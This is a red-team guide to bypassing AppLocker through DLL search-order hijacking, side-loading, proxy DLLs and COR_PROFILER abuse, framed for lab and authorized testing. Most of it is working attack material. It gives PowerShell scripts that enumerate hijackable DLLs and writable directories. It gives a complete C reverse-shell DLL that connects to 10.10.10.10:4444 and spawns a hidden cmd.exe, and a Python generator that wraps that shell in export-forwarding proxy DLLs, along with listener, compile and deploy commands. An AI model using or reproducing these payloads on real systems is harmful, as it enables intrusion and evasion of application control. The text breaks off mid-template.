AppLocker Bypass — DLL Hijacking and Side-Loading
Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1574.001 (DLL Search Order Hijacking), T1574.002 (DLL Side-Loading), and T1574.012 (COR_PROFILER).
Lab Setup
Every technique here should be tested in a clean snapshot before touching a real engagement target.
VM Stack
┌─────────────────────────────────────────────────────────┐
│ Host Machine │
│ ┌──────────────────────┐ ┌────────────────────────┐ │
│ │ Windows 10/11 VM │ │ Kali Linux VM │ │
│ │ (Target) │ │ (Attacker) │ │
│ │ │ │ │ │
│ │ - AppLocker enabled │ │ - Python HTTP server │ │
│ │ - Standard user │ │ - mingw-w64 (gcc) │ │
│ │ - Sysmon installed │ │ - pip install pefile │ │
│ │ - Process Monitor │ │ - nc / rlwrap │ │
│ │ - mingw or VS Build │ │ │ │
│ │ │ │ 192.168.56.101 │ │
│ │ 192.168.56.100 │ └────────────────────────┘ │
│ └──────────────────────┘ │
│ Host-only network: 192.168.56.0/24 │
└─────────────────────────────────────────────────────────┘Windows VM — AppLocker + DLL Tracing Configuration
1# 1. Enable AppLocker (standard setup)
2Set-Service -Name AppIDSvc -StartupType Automatic
3Start-Service -Name AppIDSvc
4
5# 2. Apply default Executable rules and enforce
6# gpedit.msc → AppLocker → Executable Rules → Create Default Rules
7# Properties → Enforcement: Enforced
8
9# 3. Note: DLL Rules are OFF by default — leave them off for most tests
10# (DLL hijack works regardless; enable only to test that specific layer)
11
12# 4. Create standard test user
13$pw = ConvertTo-SecureString "Password1!" -AsPlainText -Force
14New-LocalUser -Name "testuser" -Password $pw
15Add-LocalGroupMember -Group "Users" -Member "testuser"
16
17# 5. Install mingw-w64 for compiling hijack DLLs on Windows
18# Download: https://www.mingw-w64.org/
19# Or use Visual Studio Build Tools (cl.exe)
20# Verify:
21gcc --version # should work after adding to PATH
22
23# 6. Install Process Monitor (Sysinternals)
24# Configure a DLL load filter:
25# Filter → Process Name → contains → notepad.exe (or your target)
26# Filter → Path → ends with → .dll
27# Filter → Operation → is → Load Image
28# This shows exactly which DLLs load, in what order, from where
29
30# 7. Find phantom DLLs (DLLs a process tries to load but doesn't find)
31# In Process Monitor: look for "NAME NOT FOUND" results with .dll paths
32# Those are your hijack targets
33
34# 8. Enable process creation + image load audit
35auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
36wevtutil sl Microsoft-Windows-AppLocker/EXE^and^DLL /e:true
37
38# 9. Install pefile on Kali for the proxy DLL generator
39pip3 install pefileSysmon Configuration
# Install Sysmon with image-load tracking enabled
# SwiftOnSecurity config enables Event ID 7 (Image Loaded) by default
C:\Tools\Sysmon64.exe -accepteula -i C:\Tools\sysmon-config.xml
# Watch DLL loads live
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 7 } |
Select-Object TimeCreated, Message |
Format-ListAttacker VM (Kali) — DLL Compilation + Delivery
1# Cross-compile a hijack DLL for Windows
2x86_64-w64-mingw32-gcc -shared -o evil.dll hijack_base.c -lws2_32
3
4# Verify exports
5objdump -p evil.dll | grep -A20 "Export"
6
7# Generate a proxy DLL (requires pefile)
8pip3 install pefile
9python3 dll_proxy_gen.py C:/Windows/System32/version.dll version_proxy.c
10
11# Catch reverse shell
12rlwrap nc -lvnp 4444
13
14# Serve DLL over HTTP
15python3 -m http.server 8080COR_PROFILER Test Setup
1# On Windows VM — verify .NET runtime is present
2[System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
3# Should return something like C:\Windows\Microsoft.NET\Framework64\v4.0.30319\
4
5# Compile the profiler DLL (from Visual Studio dev shell or on Kali with mingw)
6# x86_64-w64-mingw32-gcc -shared -o profiler.dll profiler.c
7
8# Set env vars (as standard user — these are user-scope)
9$env:COR_ENABLE_PROFILING = "1"
10$env:COR_PROFILER = "{DEADBEEF-DEAD-BEEF-DEAD-BEEFDEADBEEF}"
11$env:COR_PROFILER_PATH = "C:\Users\testuser\AppData\Local\Temp\profiler.dll"
12
13# Launch any .NET app — profiler DLL loads automatically
14powershell -Command "Write-Host test"Snapshot
Take a snapshot named "AppLocker-DLL-Clean" after configuration.
Roll back between techniques to keep a known-good baseline.Diagrams
Windows DLL Search Order (Visual)
Process calls LoadLibrary("target.dll")
│
▼
┌─── Already loaded in memory? ──────────────── YES → use cached copy
│
├─── KnownDLLs registry entry? ──────────────── YES → load from system section
│ (immune to hijacking) (skip filesystem)
│
├─── Application directory ◄── HIJACK ZONE 1 ── check binary's own folder
│ (highest priority on filesystem)
│
├─── C:\Windows\System32\
├─── C:\Windows\System\
├─── C:\Windows\ ◄── HIJACK ZONE 2 ── phantom DLL here if not in KnownDLLs
│
├─── Current working directory ◄── HIJACK ZONE 3 (if SafeDllSearchMode off)
│
└─── Directories in %PATH% ◄── HIJACK ZONE 4 ── writable PATH entry wins
Rule: first match wins. Attacker wins by placing DLL earlier in the list.Phantom vs Side-Load vs Proxy — Comparison
┌─────────────────┬──────────────────────────────┬──────────────────────────────┐
│ Technique │ How It Works │ When to Use │
├─────────────────┼──────────────────────────────┼──────────────────────────────┤
│ Phantom DLL │ Target app imports a DLL that │ App has missing/optional │
│ │ doesn't exist on disk. │ imports — Process Monitor │
│ │ Drop your DLL where Windows │ shows NAME NOT FOUND │
│ │ would look first. │ │
├─────────────────┼──────────────────────────────┼──────────────────────────────┤
│ Side-Loading │ Legitimate app bundles its │ App ships in user-writable │
│ (App dir) │ own copy of a DLL. Replace │ directory; replace the │
│ │ that copy with your version. │ bundled DLL file. │
├─────────────────┼──────────────────────────────┼──────────────────────────────┤
│ Proxy DLL │ Your DLL forwards all real │ App needs DLL to work │
│ │ exports to the legitimate DLL │ correctly while payload │
│ │ while also running payload. │ runs in background. │
└─────────────────┴──────────────────────────────┴──────────────────────────────┘
Proxy DLL anatomy:
your_evil.dll
│
├── DllMain() → spawn payload thread → connect back
└── All exported functions → forward to real_target.dll (legit)
│
└── App thinks it's talking to the real DLL ✓COR_PROFILER Execution Flow
Standard user sets three environment variables (user scope, no admin needed):
COR_ENABLE_PROFILING = 1
COR_PROFILER = {arbitrary CLSID}
COR_PROFILER_PATH = C:\...\evil_profiler.dll
│
▼
Any .NET application launched by this user
→ .NET CLR reads env vars at startup
→ Sees COR_ENABLE_PROFILING=1
→ Loads COR_PROFILER_PATH DLL before managed code starts
│
▼
DllMain() in evil_profiler.dll runs
→ Spawn reverse shell thread
→ Return valid ICorProfilerCallback interface (optional, avoids crash)
│
▼
AppLocker sees: powershell.exe (trusted) loaded a DLL
→ DLL Rules disabled (default) → not evaluated
→ DLL path may be in user's AppData → no trusted path match
→ Payload runs anyway — AppLocker had no hook to stop it
Affected binaries: any .NET app (powershell.exe, msbuild.exe, etc.)Why DLL Hijacking Bypasses AppLocker
AppLocker has five rule categories. DLL Rules, the only one that covers .dll files, are disabled by default. Microsoft’s own documentation notes they’re off because the performance cost of evaluating every DLL load is prohibitive.
Even when DLL Rules are enabled, the bypass is still alive:
- The hijacked process is a legitimate, whitelisted binary. AppLocker allowed it.
- The malicious DLL executes inside that process’s address space, not as a separate process AppLocker can evaluate.
- If the DLL sits in a trusted path (AppLocker path rule), DLL Rules pass it anyway.
The execution model is clean: you never launch your payload directly. A trusted binary launches, loads your DLL as part of its normal startup, and your code runs inside it. AppLocker sees only trusted processes.
How Windows Finds DLLs
When a process calls LoadLibrary("target.dll") without a full path, Windows walks a search order:
1. DLLs already loaded into the process (in-memory cache)
2. Known DLLs (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)
3. Application directory ← the binary's own folder
4. C:\Windows\System32\
5. C:\Windows\System\
6. C:\Windows\
7. Current working directory (SafeDllSearchMode moves this late)
8. Directories in %PATH%KnownDLLs are the only truly protected entries. They load directly from a system-maintained section object, skipping the filesystem entirely. Everything else is fair game.
The three hijack surfaces:
| surface | what it means |
|---|---|
| Application directory | Drop your DLL next to the binary — wins before System32 |
| Phantom DLL | App tries to load a DLL that doesn’t exist — you provide it |
| PATH directory | Write to any writable directory earlier in PATH than System32 |
Phase 1 — Enumeration
Tool 1 — Find-PhantomDLLs.ps1
Phantom DLLs are the cleanest hijack targets: applications that try to load a DLL that doesn’t exist on the system. No need to replace a real DLL, no forwarding required. Just show up.
1# Find-PhantomDLLs.ps1
2# Monitors running processes for failed DLL loads using ETW / Sysmon data,
3# and cross-references against a curated list of known phantoms.
4# Falls back to static known-phantom list when live monitoring isn't available.
5
6param(
7 [switch]$LiveMonitor, # requires Sysmon EID 7 access
8 [int] $MonitorSeconds = 30,
9 [switch]$ShowAll
10)
11
12# ── curated phantom DLL list (confirmed missing on clean Windows installs) ──
13$PhantomDLLs = @(
14 [PSCustomObject]@{ DLL="wlbsctrl.dll"; Service="IKEEXT"; Risk="High"; Notes="Loads on network activity, SYSTEM context" },
15 [PSCustomObject]@{ DLL="TSMSISrv.dll"; Service="SessionEnv"; Risk="High"; Notes="Terminal Services, loads on RDP connect" },
16 [PSCustomObject]@{ DLL="TSVIPSrv.dll"; Service="SessionEnv"; Risk="High"; Notes="Same service as above" },
17 [PSCustomObject]@{ DLL="oci.dll"; Service="MSDTC"; Risk="High"; Notes="Distributed Transaction Coordinator" },
18 [PSCustomObject]@{ DLL="ntwdblib.dll"; Service="Various"; Risk="Medium"; Notes="Loaded by several SQL/app binaries" },
19 [PSCustomObject]@{ DLL="symsrv.dll"; Process="DbgHelp apps";Risk="Medium"; Notes="Debug tools, less reliable trigger" },
20 [PSCustomObject]@{ DLL="phoneinfo.dll"; Service="Various"; Risk="Medium"; Notes="Telephony stack on workstations" },
21 [PSCustomObject]@{ DLL="WindowsCodecsRaw.dll";Process="Photo apps"; Risk="Low"; Notes="Photo viewer / codec stack" },
22 [PSCustomObject]@{ DLL="Riched20.dll"; Process="WordPad"; Risk="Low"; Notes="User must open WordPad" },
23 [PSCustomObject]@{ DLL="MSVBVM60.dll"; Process="VB6 apps"; Risk="Low"; Notes="Only present with VB6 runtimes installed" }
24)
25
26# ── check which phantoms are actually absent on this system ────────────────
27function Test-DLLPresent([string]$dll) {
28 $paths = @(
29 [System.Environment]::SystemDirectory,
30 [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory(),
31 "$env:WINDIR\System",
32 "$env:WINDIR"
33 )
34 foreach ($p in $paths) {
35 if (Test-Path (Join-Path $p $dll)) { return $true }
36 }
37 return $false
38}
39
40$confirmed = $PhantomDLLs | Where-Object { -not (Test-DLLPresent $_.DLL) }
41
42Write-Host "`n[+] Phantom DLLs confirmed absent on this system:" -ForegroundColor Green
43$confirmed | Format-Table -AutoSize | Out-Host
44
45# ── live ETW monitoring for missed DLL loads (requires admin + Sysmon) ──────
46if ($LiveMonitor) {
47 Write-Host "[*] monitoring Sysmon EID 7 for $MonitorSeconds seconds..." -ForegroundColor Cyan
48
49 $startTime = Get-Date
50 $misses = @{}
51
52 Get-WinEvent -FilterHashtable @{
53 LogName = "Microsoft-Windows-Sysmon/Operational"
54 Id = 7 # ImageLoad — but we want NOT-loaded
55 StartTime = $startTime
56 } -ErrorAction SilentlyContinue | ForEach-Object {
57 # EID 7 logs successful loads — parse for Signed=false + unexpected path
58 $msg = $_.Message
59 if ($msg -match "Signed: false" -and $msg -match "ImageLoaded: (.+\.dll)") {
60 $dll = Split-Path $matches[1] -Leaf
61 $proc = if ($msg -match "Image: (.+)") { Split-Path $matches[1] -Leaf } else { "unknown" }
62 if (-not $misses[$dll]) { $misses[$dll] = [System.Collections.Generic.List[string]]::new() }
63 $misses[$dll].Add($proc)
64 }
65 }
66
67 if ($misses.Count -gt 0) {
68 Write-Host "`n[+] Unsigned DLL loads detected:" -ForegroundColor Yellow
69 $misses.GetEnumerator() | ForEach-Object {
70 Write-Host " $($_.Key) ← $($_.Value -join ', ')"
71 }
72 }
73}
74
75# ── find writable directories that appear before System32 in PATH ───────────
76Write-Host "`n[*] Checking PATH for writable pre-System32 directories..." -ForegroundColor Cyan
77$sys32 = $env:SystemRoot + "\System32"
78$pathDirs = $env:PATH -split ";"
79$sys32Index = ($pathDirs | ForEach-Object { $_ } | Select-String -SimpleMatch $sys32 |
80 Select-Object -First 1).LineNumber - 1
81
82$pathDirs[0..$sys32Index] | ForEach-Object {
83 $dir = $_.Trim()
84 if (-not $dir -or -not (Test-Path $dir)) { return }
85 $probe = Join-Path $dir "probe_$(Get-Random).dll"
86 try {
87 [IO.File]::WriteAllBytes($probe, @(0x4D,0x5A))
88 Remove-Item $probe -Force
89 Write-Host " [WRITABLE] $dir" -ForegroundColor Yellow
90 } catch {
91 Write-Host " [locked] $dir" -ForegroundColor DarkGray
92 }
93}
94
95$confirmed | Export-Csv ".\phantom_dlls.csv" -NoTypeInformation
96Write-Host "`n[*] saved → phantom_dlls.csv"Tool 2 — Find-HijackableApps.ps1
Scans trusted paths for application directories where the current user can write, making them viable side-loading targets.
1# Find-HijackableApps.ps1
2# Finds executables in AppLocker-trusted paths whose application
3# directory is writable — prime side-loading real estate.
4
5param(
6 [string[]]$ScanRoots = @($env:PROGRAMFILES, ${env:PROGRAMFILES(X86)}, $env:WINDIR),
7 [int]$MaxDepth = 3,
8 [switch]$CheckImports # parse PE imports to list hijackable DLL names
9)
10
11Add-Type -AssemblyName System.Reflection
12
13function Test-DirWritable([string]$dir) {
14 $probe = Join-Path $dir ([IO.Path]::GetRandomFileName())
15 try {
16 [IO.File]::WriteAllBytes($probe, @(0x4D,0x5A))
17 Remove-Item $probe -Force
18 return $true
19 } catch { return $false }
20}
21
22function Get-PEImports([string]$exePath) {
23 # Read PE import table — returns list of DLL names the binary imports
24 try {
25 $bytes = [IO.File]::ReadAllBytes($exePath)
26 $stream = New-Object IO.MemoryStream(,$bytes)
27 $reader = New-Object IO.BinaryReader($stream)
28
29 # MZ header
30 $stream.Position = 0x3C
31 $peOffset = $reader.ReadInt32()
32
33 # PE signature
34 $stream.Position = $peOffset
35 $sig = $reader.ReadUInt32()
36 if ($sig -ne 0x00004550) { return @() }
37
38 # optional header magic
39 $stream.Position = $peOffset + 24
40 $magic = $reader.ReadUInt16()
41 $is64 = ($magic -eq 0x20B)
42
43 # data directory offset
44 $ddOffset = if ($is64) { $peOffset + 24 + 112 } else { $peOffset + 24 + 96 }
45 $stream.Position = $ddOffset
46 $importRVA = $reader.ReadUInt32()
47 $importSize = $reader.ReadUInt32()
48 if ($importRVA -eq 0) { return @() }
49
50 # section headers — find section containing import RVA
51 $numSections = & {
52 $stream.Position = $peOffset + 6
53 $reader.ReadUInt16()
54 }
55 $sectionOffset = $peOffset + 24 + (if ($is64) { 240 } else { 224 })
56 $section = $null
57 for ($i = 0; $i -lt $numSections; $i++) {
58 $stream.Position = $sectionOffset + ($i * 40)
59 $name = $reader.ReadBytes(8)
60 $vSize = $reader.ReadUInt32()
61 $vAddr = $reader.ReadUInt32()
62 $rawSize = $reader.ReadUInt32()
63 $rawPtr = $reader.ReadUInt32()
64 if ($importRVA -ge $vAddr -and $importRVA -lt ($vAddr + $vSize)) {
65 $section = @{ VAddr=$vAddr; RawPtr=$rawPtr }
66 break
67 }
68 }
69 if (-not $section) { return @() }
70
71 # parse import descriptors
72 $dlls = @()
73 $pos = $section.RawPtr + ($importRVA - $section.VAddr)
74 while ($true) {
75 $stream.Position = $pos
76 $reader.ReadUInt32() | Out-Null # OrigFirstThunk
77 $reader.ReadUInt32() | Out-Null # TimeDateStamp
78 $reader.ReadUInt32() | Out-Null # ForwarderChain
79 $nameRVA = $reader.ReadUInt32()
80 $reader.ReadUInt32() | Out-Null # FirstThunk
81 if ($nameRVA -eq 0) { break }
82
83 $nameOff = $section.RawPtr + ($nameRVA - $section.VAddr)
84 $stream.Position = $nameOff
85 $nameBytes = @()
86 $b = $reader.ReadByte()
87 while ($b -ne 0) { $nameBytes += $b; $b = $reader.ReadByte() }
88 $dlls += [Text.Encoding]::ASCII.GetString($nameBytes)
89 $pos += 20
90 }
91 return $dlls
92 } catch { return @() }
93}
94
95$results = [System.Collections.Generic.List[PSCustomObject]]::new()
96
97foreach ($root in $ScanRoots | Where-Object { $_ -and (Test-Path $_) }) {
98 Write-Host "[*] scanning $root" -ForegroundColor Cyan
99
100 Get-ChildItem -Path $root -Recurse -Filter "*.exe" -Depth $MaxDepth `
101 -ErrorAction SilentlyContinue |
102 ForEach-Object {
103 $exeDir = $_.DirectoryName
104 if (Test-DirWritable $exeDir) {
105 $imports = if ($CheckImports) { Get-PEImports $_.FullName } else { @() }
106 $results.Add([PSCustomObject]@{
107 Executable = $_.FullName
108 Directory = $exeDir
109 Imports = $imports -join "; "
110 Signed = (Get-AuthenticodeSignature $_.FullName).Status -eq "Valid"
111 })
112 }
113 }
114}
115
116Write-Host "`n[+] Hijackable app directories ($($results.Count)):`n" -ForegroundColor Green
117$results | Sort-Object Signed -Descending |
118 Format-Table Executable, Signed, Directory -AutoSize | Out-Host
119
120if ($CheckImports) {
121 Write-Host "`n[+] Import detail (DLL names to hijack):" -ForegroundColor Yellow
122 $results | Where-Object { $_.Imports } |
123 Select-Object Executable, Imports |
124 Format-List | Out-Host
125}
126
127$results | Export-Csv ".\hijackable_apps.csv" -NoTypeInformation
128Write-Host "[*] saved → hijackable_apps.csv"# run
.\Find-HijackableApps.ps1
.\Find-HijackableApps.ps1 -CheckImports # also parse PE imports
.\Find-HijackableApps.ps1 -ScanRoots @("C:\Windows") -MaxDepth 2Phase 2 — Payload: The Hijack DLL
Base hijack DLL (no forwarding)
Use this when targeting a phantom DLL: the real DLL doesn’t exist, so no forwarding needed.
1/* hijack_base.c
2 * Phantom DLL hijack — drop where the target app expects a DLL that doesn't exist.
3 * No export forwarding required.
4 *
5 * Compile:
6 * x86_64-w64-mingw32-gcc -shared -o target.dll hijack_base.c \
7 * -lws2_32 -mwindows -s \
8 * -fno-ident -Wl,--build-id=none \
9 * -Wl,--enable-stdcall-fixup
10 *
11 * 32-bit (for 32-bit host processes):
12 * i686-w64-mingw32-gcc -shared -o target.dll hijack_base.c \
13 * -lws2_32 -mwindows -s -Wl,--build-id=none
14 */
15
16#define WIN32_LEAN_AND_MEAN
17#include <windows.h>
18#include <winsock2.h>
19#include <ws2tcpip.h>
20#include <stdio.h>
21
22#define LHOST "10.10.10.10"
23#define LPORT 4444
24
25/* ── reverse shell ──────────────────────────────────────────────────────── */
26static DWORD WINAPI shell_thread(LPVOID p) {
27 (void)p;
28 Sleep(500); /* brief pause — lets the host process finish initializing */
29
30 WSADATA wsa = {0};
31 if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return 1;
32
33 SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
34 NULL, 0, WSA_FLAG_OVERLAPPED);
35 if (sock == INVALID_SOCKET) { WSACleanup(); return 1; }
36
37 struct sockaddr_in sa = {0};
38 sa.sin_family = AF_INET;
39 sa.sin_port = htons(LPORT);
40 inet_pton(AF_INET, LHOST, &sa.sin_addr);
41
42 /* retry connect — service DLLs load before network is fully up */
43 int retries = 5;
44 while (retries-- > 0) {
45 if (connect(sock, (SOCKADDR*)&sa, sizeof(sa)) == 0) break;
46 Sleep(2000);
47 }
48 if (retries < 0) { closesocket(sock); WSACleanup(); return 1; }
49
50 STARTUPINFOA si = {0};
51 si.cb = sizeof(si);
52 si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
53 si.wShowWindow = SW_HIDE;
54 si.hStdInput = (HANDLE)sock;
55 si.hStdOutput = (HANDLE)sock;
56 si.hStdError = (HANDLE)sock;
57
58 PROCESS_INFORMATION pi = {0};
59 char cmd[] = "cmd.exe";
60 if (!CreateProcessA(NULL, cmd, NULL, NULL, TRUE,
61 CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
62 closesocket(sock);
63 WSACleanup();
64 return 1;
65 }
66
67 WaitForSingleObject(pi.hProcess, INFINITE);
68 CloseHandle(pi.hProcess);
69 CloseHandle(pi.hThread);
70 closesocket(sock);
71 WSACleanup();
72 return 0;
73}
74
75/* ── DllMain ─────────────────────────────────────────────────────────────── */
76BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID reserved) {
77 switch (reason) {
78 case DLL_PROCESS_ATTACH:
79 DisableThreadLibraryCalls(hMod);
80 CreateThread(NULL, 0, shell_thread, NULL, 0, NULL);
81 break;
82 case DLL_PROCESS_DETACH:
83 break;
84 }
85 return TRUE;
86}Phase 3 — DLL Proxying
Proxying is the professional tier of DLL hijacking. Your malicious DLL sits in place of the real one, runs your payload, and forwards every exported function call to the legitimate DLL. The host process works perfectly: stability is maintained, the target doesn’t crash, and the blue team doesn’t get an obvious signal.
The mechanism is a linker pragma:
#pragma comment(linker, "/export:FunctionName=realDLL.FunctionName,@ordinal")This tells the linker to add an export that forwards directly to the real DLL at load time. Zero overhead, zero code needed for each forwarded function.
Tool 3 — DLL Proxy Generator (Python)
Automatically extracts all exports from a real DLL and generates a ready-to-compile C proxy file.
1#!/usr/bin/env python3
2# dll_proxy_gen.py
3# Reads exports from a real DLL and generates a C proxy with:
4# - #pragma forwarding for every export
5# - DllMain with reverse shell payload
6# - Compile instructions
7#
8# Requires: pip install pefile
9#
10# Usage:
11# python3 dll_proxy_gen.py -i C:\Windows\System32\version.dll -o version_proxy.c
12# python3 dll_proxy_gen.py -i target.dll -o proxy.c --lhost 10.10.10.10 --lport 4444
13
14import argparse
15import os
16import sys
17
18try:
19 import pefile
20except ImportError:
21 sys.exit("[-] pefile not installed — run: pip install pefile")
22
23
24TEMPLATE = r"""/*
25 * {dll_name} — DLL proxy
26 * Auto-generated by dll_proxy_gen.py
27 *
28 * Real DLL forwarded to: {real_dll_path}
29 * Exports forwarded: {export_count}
30 *
31 * Compile (x64):
32 * x86_64-w64-mingw32-gcc -shared -o {dll_name} {src_name} \
33 * -lws2_32 -mwindows -s -fno-ident -Wl,--build-id=none
34 *
35 * Compile (x86):
36 * i686-w64-mingw32-gcc -shared -o {dll_name} {src_name} \
37 * -lws2_32 -mwindows -s -Wl,--build-id=none
38 *
39 * Deploy:
40 * 1. Place real {dll_name} alongside this proxy as "{real_basename}"
41 * OR set forward path to absolute System32 path (see --absolute flag)
42 * 2. Drop this proxy where the target app will find it first
43 */
44
45#pragma comment(linker, "/subsystem:windows")
46
47/* ── export forwards ─────────────────────────────────────────────────────── */
48/* Each line redirects a call to our proxy → the real DLL transparently */
49{forwards}
50
51/* ── payload ─────────────────────────────────────────────────────────────── */
52#define WIN32_LEAN_AND_MEAN
53#include <windows.h>
54#include <winsock2.h>
55#include <ws2tcpip.h>
56
57#define LHOST "{lhost}"
58#define LPORT {lport}
59
60static DWORD WINAPI shell_thread(LPVOID p) {{
61 (void)p;
62 Sleep(800);
63
64 WSADATA wsa = {{0}};
65 if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return 1;
66
67 SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
68 NULL, 0, WSA_FLAG_OVERLAPPED);
69 if (sock == INVALID_SOCKET) {{ WSACleanup(); return 1; }}
70
71 struct sockaddr_in sa = {{0}};
72 sa.sin_family = AF_INET;
73 sa.sin_port = htons(LPORT);
74 inet_pton(AF_INET, LHOST, &sa.sin_addr);
75
76 int retries = 5;
77 while (retries-- > 0) {{
78 if (connect(sock, (SOCKADDR*)&sa, sizeof(sa)) == 0) break;
79 Sleep(2000);
80 }}
81 if (retries < 0) {{ closesocket(sock); WSACleanup(); return 1; }}
82
83 STARTUPINFOA si = {{0}};
84 PROCESS_INFORMATION pi = {{0}};
85 si.cb = sizeof(si);
86 si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
87 si.wShowWindow = SW_HIDE;
88 si.hStdInput = (HANDLE)sock;
89 si.hStdOutput = (HANDLE)sock;
90 si.hStdError = (HANDLE)sock;
91
92 char cmd[] = "cmd.exe";
93 CreateProcessA(NULL, cmd, NULL, NULL, TRUE,
94 CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
95
96 WaitForSingleObject(pi.hProcess, INFINITE);
97 CloseHandle(pi.hProcess);
98 CloseHandle(pi.hThread);
99 closesocket(sock);
100 WSACleanup();
101 return 0;
102}}
103
104BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID reserved) {{
105 if (reason == DLL_PROCESS_ATTACH) {{
106 DisableThreadLibraryCalls(hMod);
107 CreateThread(NULL, 0, shell_thread, NULL, 0, NULL);
108 }}
109 return TRUE;
110}}
111"""
112
113
114def get_exports(dll_path: str):
115 pe = pefile.PE(dll_path, fast_load=False)
116 pe.parse_data_directories(
117 directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
118 )
119
120 exports = []
121 if not hasattr(pe, "DIRECTORY_ENTRY_EXPORT"):
122 return exports
123
124 for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
125 name = exp.name.decode() if exp.name else None
126 ordinal = exp.ordinal
127 exports.append((name, ordinal))
128
129 return exports
130
131
132def build_forwards(exports: list, forward_target: str) -> str:
133 """
134 Build #pragma comment(linker, "/export:...") lines.
135 forward_target: the DLL name to forward to (without .dll, or full path stem)
136 """
137 lines = []
138 for name, ordinal in exports:
139 if name:
140 # named export forward
141 line = (
142 f'#pragma comment(linker, "/export:{name}='
143 f'{forward_target}.{name},@{ordinal}")'
144 )
145 else:
146 # ordinal-only export — forward by ordinal
147 line = (
148 f'#pragma comment(linker, "/export:#{ordinal}='
149 f'{forward_target}.#{ordinal}")'
150 )
151 lines.append(line)
152 return "\n".join(lines)
153
154
155def main():
156 p = argparse.ArgumentParser(description="DLL Proxy C file generator")
157 p.add_argument("-i", "--input", required=True, help="path to real DLL")
158 p.add_argument("-o", "--output", required=True, help="output .c file")
159 p.add_argument("--lhost", default="10.10.10.10")
160 p.add_argument("--lport", default=4444, type=int)
161 p.add_argument("--real-name", default=None,
162 help="name the real DLL will be saved as (default: orig_<name>)")
163 p.add_argument("--absolute", action="store_true",
164 help="forward to absolute System32 path instead of relative name")
165 args = p.parse_args()
166
167 dll_path = os.path.abspath(args.input)
168 dll_name = os.path.basename(dll_path)
169 dll_stem = os.path.splitext(dll_name)[0]
170 src_name = os.path.basename(args.output)
171
172 real_basename = args.real_name or f"orig_{dll_name}"
173 real_stem = os.path.splitext(real_basename)[0]
174
175 if args.absolute:
176 # forward to System32 absolute path — no need to carry the real DLL
177 forward_target = f"C:\\\\Windows\\\\System32\\\\{dll_stem}"
178 else:
179 forward_target = real_stem
180
181 print(f"[*] parsing exports from {dll_path}")
182 exports = get_exports(dll_path)
183 print(f"[+] found {len(exports)} exports")
184
185 forwards = build_forwards(exports, forward_target)
186
187 src = TEMPLATE.format(
188 dll_name = dll_name,
189 real_dll_path= dll_path,
190 real_basename= real_basename,
191 src_name = src_name,
192 export_count = len(exports),
193 forwards = forwards,
194 lhost = args.lhost,
195 lport = args.lport,
196 )
197
198 with open(args.output, "w") as f:
199 f.write(src)
200
201 print(f"[+] written → {args.output}")
202 print()
203 print("── compile ─────────────────────────────────────────────────────")
204 print(f" x86_64-w64-mingw32-gcc -shared -o {dll_name} {src_name} \\")
205 print(f" -lws2_32 -mwindows -s -fno-ident -Wl,--build-id=none")
206 print()
207 if not args.absolute:
208 print("── deploy ──────────────────────────────────────────────────────")
209 print(f" 1. rename real {dll_name} → {real_basename}")
210 print(f" 2. place both files in the target app directory")
211 print(f" proxy: {dll_name} (your compiled payload)")
212 print(f" real: {real_basename} (original, forwards go here)")
213 else:
214 print("── deploy (absolute mode) ───────────────────────────────────────")
215 print(f" Drop {dll_name} in the target app directory.")
216 print(f" Forwards go directly to System32 — no companion DLL needed.")
217
218
219if __name__ == "__main__":
220 main() 1# generate proxy for version.dll (common side-load target)
2python3 dll_proxy_gen.py \
3 -i /mnt/win/Windows/System32/version.dll \
4 -o version_proxy.c \
5 --lhost 10.10.10.10 \
6 --lport 4444
7
8# absolute mode — no companion DLL needed on target
9python3 dll_proxy_gen.py \
10 -i /mnt/win/Windows/System32/version.dll \
11 -o version_proxy.c \
12 --absolute
13
14# compile
15x86_64-w64-mingw32-gcc -shared -o version.dll version_proxy.c \
16 -lws2_32 -mwindows -s -fno-ident -Wl,--build-id=noneManual proxy template (no pefile needed)
When you already know the exports or are targeting a DLL with few of them:
1/* version_proxy.c — manual proxy for version.dll
2 * version.dll exports exactly these 17 functions — all forwarded to System32
3 *
4 * Compile:
5 * x86_64-w64-mingw32-gcc -shared -o version.dll version_proxy.c \
6 * -lws2_32 -mwindows -s -fno-ident -Wl,--build-id=none
7 */
8
9/* forward all 17 version.dll exports to the real System32 copy */
10#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
11#pragma comment(linker, "/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
12#pragma comment(linker, "/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
13#pragma comment(linker, "/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
14#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
15#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
16#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
17#pragma comment(linker, "/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
18#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
